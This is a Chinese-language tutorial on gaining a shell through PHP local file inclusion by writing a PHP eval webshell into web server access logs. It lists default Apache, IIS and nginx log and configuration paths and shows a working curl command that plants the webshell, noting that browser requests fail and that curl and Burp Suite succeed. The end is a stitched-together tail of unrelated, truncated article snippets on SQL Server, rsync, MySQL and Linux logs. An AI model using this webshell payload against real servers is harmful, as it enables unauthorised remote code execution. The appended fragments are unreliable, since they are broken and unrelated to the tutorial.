包含日志文件getshell

一、包含日志文件漏洞利用概述

当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。        利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。                这时候我们如果知道服务器的日志位置,我们可以去包含这个文件从而拿到shell。其实整个“包含日志文件漏洞利用”最关键的就是找日志存放的“物理路径”,只要找到日志的物理存放路径,一切就可以按部就班的完成利用了。         
二、漏洞利用条件
       (1) 日志的物理存放路径
       (2) 存在文件包含漏洞

(3) curl命令行url请求工具 或者 burpsuit代理;(避免url转码的存在)

(3) curl命令行url请求工具 或者 burpsuit代理;
三、 获取日志存放路径

一)日志默认路径

(1) apache+Linux日志默认路径

/etc/httpd/logs/access_log

或者

/var/log/httpd/access_log

(2) apache+win2003日志默认路径

D:\xampp\apache\logs\access.log

D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003默认日志文件

C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件

%SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件

日志文件在用户安装目录logs目录下

以我的安装路径为例/usr/local/nginx,

那我的日志目录就是在/usr/local/nginx/logs里

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

二)web中间件默认配置

(1) apache+linux 默认配置文件

/etc/httpd/conf/httpd.conf

或者

index.php?page=/etc/init.d/httpd

(2) IIS6.0+win2003 配置文件

C:/Windows/system32/inetsrv/metabase.xml

(3) IIS7.0+WIN 配置文件

C:\Windows\System32\inetsrv\config\applicationHost.config

四、实践测试记录       一) 工具准备       (1) curl 命令行url访问工具或者       (2) burpsuit 代理工具
       二)使用浏览器直接构造一句话写入日志测试记录             (1)浏览器构造一句话报错       首先,我们直接使用浏览器来构造“php一句话报错请求信息”然服务自动记录此一句话信息到服务器日志文件中;       具体构造内容:  http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>        (2)测试结果:失败                利用文件包含漏洞直接访问“服务日志文件”,发现文件包含漏洞并未对构造的php一句话进行正常解析,观察发现是构造的PHP一句话中的相关字符在记录进日志文件后,相关的字符被转码了,导致PHP解析失败,具体失败原因见“失败原因分析”        (3)失败原因分析                一句话写入日志文件的利用过程是,利用浏览器直接构造一个关于请求资源的报错信息,次消息中包含依据。次报错信息服务自动记录到日志文件,但实际测试发现写入日志文件内的报错信息发生了字符转码:               日志文件内容如上图所示:http://127.0.0.1/php/1.php?%3C?php%20@eval($_POST[123]);?%3E                 "<"  ----> 大于号被转码为了 %3C

">"  ----> 小于号被转码为了 %3E

" "   ----> 空格被转码为了 %20

最后写入到日志文件中的一句话就变成了  %3C?php%[email protected]($_POST[123]);?%3E。

(4) 失败总结

浏览器直接构造的PHP一句话中特殊字符,会被浏览器自动进行URL转义,导致最终写入日志文件中的PHP一句话包含了这些特殊字符,而这些转码后的编码PHP并不能进行正常的解析。

      三)curl 构造一句话,写入日志文件测试记录
       (1) curl 构造一句话写入服务日志文件             构造语句:  D:\curl>curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"

curl构造一句话时,需要注意两点:

1)请求的资源对象,需要被双引号包含,不然会报错;
            2) php一句话中的 综括号[ ]curl是特殊符号,需要进行转义 \[ \],不然curl使用时也会报错;

(2)测试结果:成功

(3) 成功原因

Curl 命令行url资源请求,没有像浏览器对特殊字符进行url的转码,所以原封不动的将请求报错的php一句话信息写入了服务日志文件中。随后我们利用文件包含漏洞正常包含解析了本地服务器的日志文件中夹带的“php一句话木马”;

四)burpsuit 代理抓包改包构造一句话写入日志文件

(1) burpsuit 代理抓包,修改浏览器转码字符,写入正确的php一句话木马到服务器日志文件。

(2) 测试记录:成功

通过文件包含直接访问服务日志文件,发现一句话被继续成功;

(3)成功原因

使用burpsuit修改了浏览器访问转码的字符,事情安装我们一句话原本的格式记录进日志文件,并能被php正常解析。

时间: 2024-10-26 23:29:44

包含日志文件getshell的相关文章

菜鸟学SQLServer--数据文件和日志文件

昨天讲到的是 页和区, 今天就想写一些 数据文件和日志文件那些事. 根据MSDN library,SQL Server有三种类型的文件,分别是: 主数据文件 -- 后缀为 .mdf 次要数据文件 -- 后缀为 .ndf 日志文件 -- 后缀为.ldf 数据文件: 从示例数据库我们可以看到,里面有一个主数据文件和一个日志文件,次要数据文件不是必须的. 同时每个文件都有一个文件号,fileID or filenum,用来标识该文件. 比如上一篇文章的DBCC page 命令,唯一标识数据库中的一页,

rsync采集二进制日志文件

本日志转载请注明出处,否则将追究责任! rsync简介 rsync是Unix下的一款应用软件,它能同步更新两处计算机的文件与目录,并适当利用差分编码以减少数据传输.rsync中一项与其他大部分类似程序或协议中所未见的重要特性是镜像对每个目标只需要一次发送.rsync可拷贝/显示目录属性,以及拷贝文件,并可选择性的压缩以及递归拷贝. 在常驻模式(daemon mode)下,rsync默认监听TCP端口873,以原生rsync传输协议或者通过远程shell如RSH或者SSH伺服文件.需要备份的终端为

shell 脚本---每隔几个小时查看日志文件中包含某些字符串的行数

在linux生产环境下,有如下这样的一个平常运维需要的工作. 每隔一段时间,比如两个小时,就要对每秒都要产生日志的日志文件(这里假设为testfile.out,其绝对路径为/home/panlm/shellpra/testfile.out)进行一个操作,这个操作是将日志中包含某些字符串的行给单独打印出来,并重新放在一个文件(这里的文件假设为out.log)中.这些需要匹配的字符串可以按这种方式表示"0x216000ab"其中ab为01到18的连续整数. 实现这样一个要求的做法主要有两步

MySQL日志文件与分析

1.查询日志.慢查询日志.二进制日志对比 查询日志 general_log 会记录用户的所有操作,其中包含增删查改等 可以指定输出为表 慢查询日志 slow_log 只要超过定义时间的所有操作语句都记录 可以指定输出为表 二进制日志 log_bin 记录可能执行更改的所有操作 mysqlbinlog查看 2.日志的分析 2.1日志的存储 数据操作过程中,Mysqld是将接收到的语句按照接收的顺序(注意不是执行顺序)写到查询日志文件中.一条一条就类似这样: # Time: 070927 8:08:

windows 日志文件查找符合条件的列并统计

因为要将windows每天登陆失败的次数统计, "wevtutil el  "           //列出日志名称 "wevtutil  gl  日志名称" //获取日志配置信息. 你可以使用短(如 ep /uni)或长(如enum-publishers /unicode)形式的命令和选项名称. 命令.选项和选项值不区分大小写. 变量均使用大写形式. wevtutil COMMAND [ARGUMENT [ARGUMENT] ...] [/OPTION:VALUE

Apache access.log error.log日志文件太大优化方法

有没有发现Apache生成的日志文件一天比一天大,不是一般大,若你apache安装在C盘,那可惨了,不几天硬盘就满了,太恐怖了,有没有办法优化一下日志,让它不那么大?答案是有的. 一.停止Apache服务,删除Apache下/logs/目录中的error.log和access.log文件. 二.打开Apache的conf/httpd.conf配置文件,找到以下配置信息: ErrorLog logs/error.log CustomLog logs/access.log common 请在上述两行

Linux 日志文件utmp、wtmp、lastlog、messages

1.有关当前登录用户的信息记录在文件utmp中:==who命令 2.登录进入和退出纪录在文件wtmp中:==w命令 3.最后一次登录文件可以用lastlog命令察看: 4.messages======从syslog中记录信息 注意:wtmp和utmp文件都是二进制文件,他们不能被诸如tail命令剪贴或合并(使用cat命令).用户 需要使用who.w.users.last和ac来使用这两个文件包含的信息. 例子: last命令往回搜索wtmp来显示自从文件第一次创建以来登录过的用户 users用单

mysql 的日志文件

mysql的日志文件 日志文件大致分为  error log, binary log, query log, slow query log, innodb redo log ;如图: 1.error log the error log file contains information indicating when mysqld was started and stopped also any critical errors that occur while the server is run

分析日志文件

在tomcat中安装logback插件,此插件用于生成日志.该日志中包括很多信息,我们的目的是将需要的数据进行整理,将其插入到MySQL数据库中,并将其做成定时任务执行. 一下是原日志文件内容: 我们需要client,uniquecode,device,versioncode,interface,createtime这些字段 思路如下: 1.我们只需要对包含接口和请求开始字段的行进行数据整理. grep "personal/checkupdate.json请求开始"   /home/l